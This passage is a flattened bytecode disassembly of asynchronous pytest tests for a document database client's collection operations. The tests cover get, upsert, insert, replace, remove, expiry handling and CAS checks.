YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL ExistsResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR exists LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST cb LOAD_METHOD exists LOAD_FAST self LOAD_ATTR NO_KEY CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL ExistsResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR exists LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR key LOAD_FAST key COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR expiry_time LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR LOAD_FAST value COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD get LOAD_FAST key LOAD_GLOBAL GetOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST False LOAD_CONST ('timeout', 'with_expiry') CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR key LOAD_FAST key COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR expiry_time LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR LOAD_FAST value COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 40 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST self LOAD_ATTR NO_KEY CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 1000 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST '$document.exptime' STORE_FAST expiry_path LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry LOAD_FAST expiry LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL datetime LOAD_METHOD fromtimestamp LOAD_FAST expiry CALL_METHOD LOAD_GLOBAL datetime LOAD_METHOD now CALL_METHOD BINARY_SUBTRACT LOAD_METHOD total_seconds CALL_METHOD STORE_FAST expires_in LOAD_FAST expires_in LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_ATTR cas LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL asyncio LOAD_METHOD sleep LOAD_CONST 3 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 112 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_DEREF key LOAD_FAST default_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_DEREF key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_CLOSURE key BUILD_TUPLE LOAD_CONST <code object cas_matches at 0x7fab42b3c1e0, file "f.py", line 215> LOAD_CONST 'CollectionTests.test_project.<locals>.cas_matches' MAKE_FUNCTION STORE_FAST cas_matches LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cas_matches LOAD_FAST cb LOAD_FAST result LOAD_ATTR cas CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_DEREF key LOAD_GLOBAL GetOptions LOAD_CONST 'faa' BUILD_LIST LOAD_CONST ('project',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_CONST 'faa' LOAD_CONST 'ORD' BUILD_MAP LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR key LOAD_DEREF key COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR expiry_time LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb LOAD_METHOD get LOAD_DEREF key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST r LOAD_FAST new_cas LOAD_FAST r LOAD_ATTR cas COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL Exception LOAD_FAST new_cas FORMAT_VALUE LOAD_CONST ' != ' LOAD_FAST r LOAD_ATTR cas FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL PathNotFoundException CALL_METHOD SETUP_WITH to 56 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key LOAD_GLOBAL GetOptions LOAD_CONST 'some' LOAD_CONST 'qzx' BUILD_LIST LOAD_CONST ('project',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL InvalidArgumentException CALL_METHOD SETUP_WITH to 52 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key LOAD_GLOBAL GetOptions LOAD_CONST 'thiswontwork' LOAD_CONST ('project',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_DEREF key LOAD_CONST <code object <dictcomp> at 0x7fab6406af60, file "f.py", line 246> LOAD_CONST 'CollectionTests.test_project_too_many_projections.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 1 LOAD_CONST 21 CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_DEREF key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_CLOSURE key BUILD_TUPLE LOAD_CONST <code object cas_matches at 0x7fab6406aae0, file "f.py", line 249> LOAD_CONST 'CollectionTests.test_project_too_many_projections.<locals>.cas_matches' MAKE_FUNCTION STORE_FAST cas_matches LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cas_matches LOAD_FAST cb LOAD_FAST result LOAD_ATTR cas CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST <code object <listcomp> at 0x7fab6406a8a0, file "f.py", line 256> LOAD_CONST 'CollectionTests.test_project_too_many_projections.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 1 LOAD_CONST 19 CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST project LOAD_FAST cb LOAD_METHOD get LOAD_DEREF key LOAD_GLOBAL GetOptions LOAD_FAST project LOAD_CONST ('project',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_ATTR cas LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR STORE_FAST res_dict LOAD_FAST res_dict BUILD_MAP COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res_dict LOAD_METHOD get LOAD_CONST 'f20' CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 232 LOAD_FAST project GET_ITER FOR_ITER to 230 STORE_FAST field LOAD_FAST res_dict LOAD_METHOD get LOAD_FAST field CALL_METHOD LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 22 STORE_FAST i LOAD_FAST i LOAD_CONST 'f' LOAD_FAST i FORMAT_VALUE BUILD_STRING MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST cb LOAD_METHOD get LOAD_DEREF key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST r LOAD_FAST new_cas LOAD_FAST r LOAD_ATTR cas COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL Exception LOAD_FAST new_cas FORMAT_VALUE LOAD_CONST ' != ' LOAD_FAST r LOAD_ATTR cas FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST i LOAD_CONST 'f' LOAD_FAST i FORMAT_VALUE BUILD_STRING LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 3 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('timeout',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL MutationResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST g_result LOAD_FAST g_result LOAD_ATTR key LOAD_FAST key COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST value LOAD_FAST g_result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp_and_reset LOAD_ATTR value STORE_FAST value LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value1 LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST '$document.exptime' STORE_FAST expiry_path LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry1 LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value1 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry2 LOAD_FAST expiry1 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry2 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry1 LOAD_FAST expiry2 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL asyncio LOAD_METHOD sleep LOAD_CONST 3 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR LOAD_FAST value1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp_and_reset LOAD_ATTR value STORE_FAST value LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value1 LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST '$document.exptime' STORE_FAST expiry_path LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry1 LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value1 LOAD_GLOBAL UpsertOptions LOAD_CONST True LOAD_CONST ('preserve_expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry2 LOAD_FAST expiry1 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry2 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry1 LOAD_FAST expiry2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL asyncio LOAD_METHOD sleep LOAD_CONST 3 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 274 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD insert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL InsertOptions LOAD_GLOBAL timedelta LOAD_CONST 3 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('timeout',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL MutationResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST g_result LOAD_FAST g_result LOAD_ATTR key LOAD_FAST key COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST value LOAD_FAST g_result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp LOAD_ATTR value STORE_FAST value LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentExistsException CALL_METHOD SETUP_WITH to 52 POP_TOP LOAD_FAST cb LOAD_METHOD insert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD replace LOAD_FAST key LOAD_FAST value LOAD_GLOBAL ReplaceOptions LOAD_GLOBAL timedelta LOAD_CONST 3 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('timeout',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL MutationResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST g_result LOAD_FAST g_result LOAD_ATTR key LOAD_FAST key COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST value LOAD_FAST g_result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value1 LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_ATTR cas STORE_FAST old_cas LOAD_FAST cb LOAD_METHOD replace LOAD_FAST key LOAD_FAST value1 LOAD_GLOBAL ReplaceOptions LOAD_FAST old_cas LOAD_CONST ('cas',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL MutationResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas LOAD_FAST old_cas COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL CasMismatchException CALL_METHOD SETUP_WITH to 136 POP_TOP LOAD_FAST cb LOAD_METHOD replace LOAD_FAST key LOAD_FAST value1 LOAD_GLOBAL ReplaceOptions LOAD_FAST old_cas LOAD_CONST ('cas',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 46 POP_TOP LOAD_FAST cb LOAD_METHOD replace LOAD_FAST self LOAD_ATTR NO_KEY LOAD_CONST 'some' LOAD_CONST 'content' BUILD_MAP CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST cb LOAD_METHOD remove LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL MutationResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 74 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM 